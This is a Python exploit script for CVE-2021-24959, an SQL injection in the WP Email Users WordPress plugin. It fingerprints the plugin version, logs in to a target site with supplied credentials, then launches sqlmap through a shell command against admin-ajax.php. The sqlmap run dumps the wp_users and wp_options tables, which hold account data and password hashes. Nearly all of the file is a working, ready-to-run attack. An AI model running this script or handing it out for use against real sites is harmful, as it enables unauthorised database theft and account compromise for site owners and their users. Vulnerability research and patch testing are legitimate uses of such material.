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POC / CVE-2021-24959.py PY
#!/usr/bin/env python3
import argparse
import requests
import re
from getpass import getpass
import os
import subprocess
## Exploit script by @RandomRobbieBF

http_proxy = ""
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy

user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"



def check_plugin_version(url,username,password):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
    plugin_url = ""+url+"/wp-content/plugins/wp-email-users/readme.txt"
    response = requests.get(plugin_url, headers=headers,verify=False,timeout=30)
    if response.status_code == 200:
        content = response.text

        version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None)
        if version_line:
            version = version_line.split(':')[1].strip()
            if version > '1.7.7':
                print("The plugin version is 1.7.7 or above.")
                exit()
            else:
                print("The plugin version is below 1.7.7.")
                print("The plugin version is "+version+"")
                return version
        else:
            print("Failed to find the version information in the readme.txt file.")
            exit()
    else:
        print("Plugin not installed")
        exit()







def vulncheck(url, username, password):
    # Perform vulnerability check logic here
    print("Vulnerability check:", url)

    # Login to WordPress
    login_url = f"{url}/wp-login.php"
    session = requests.Session()
    login_data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": f"{url}/wp-admin/",
    }

    try:
        login_response = session.post(login_url, data=login_data, headers={"User-Agent": user_agent})
        login_response.raise_for_status()
        # Extract the required cookies from the response headers
        cookies = login_response.cookies

        # Confirm successful login
        if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
            cookies = session.cookies
            print("Logged in successfully.")
            cookie_string = "; ".join([f"{name}={value}" for name, value in cookies.items()])
            command = 'sqlmap.py -u "'+url+'/wp-admin/admin-ajax.php"  --data="data_raw%5B%5D=&action=weu_selected_users_1" --time-sec=10 --threads 4  --batch -p data_raw[] -T wp_users,wp_options --dump --referer="'+url+'/wp-admin/" --level 3 --risk 3  --technique=BT --dbms=mysql --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" --cookie "'+cookie_string+'"'
            print("Command Line: "+command+"")
            try:
                process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
                for line in iter(process.stdout.readline, ''):
                    print(line.strip())

                process.communicate()  # Wait for the command to complete
    
                if process.returncode != 0:
                   print(f"Command execution failed with error code {process.returncode}.")
            except subprocess.CalledProcessError as e:
               print(f"Command execution failed with error code {e.returncode}.")
               print(e.output)
        else:
            print("Failed to log in.")
            exit()




    except requests.exceptions.RequestException as e:
        print(f"Request failed with an error: {e}")


# Add the vulnerability description as a comment
DESCRIPTION = """
WP Email Users <= 1.7.6 - SQL Injection
Description:
CVE-2021-24959 The WP Email Users WordPress plugin through 1.7.6 does not escape the data_raw parameter in the weu_selected_users_1 AJAX action, available to any authenticated users, allowing them to perform SQL injection attacks.
"""

# Use argparse to get the URL, username, and password arguments
parser = argparse.ArgumentParser(description=DESCRIPTION)
parser.add_argument("-u", "--url", help="Website URL", required=True)
parser.add_argument("-un", "--username", help="WordPress username")
parser.add_argument("-p", "--password", help="WordPress password")
args = parser.parse_args()

# Prompt for password if not provided as an argument
if not args.password:
    args.password = getpass("Enter the WordPress password: ")

check_plugin_version(args.url, args.username,args.password)
vulncheck(args.url, args.username, args.password)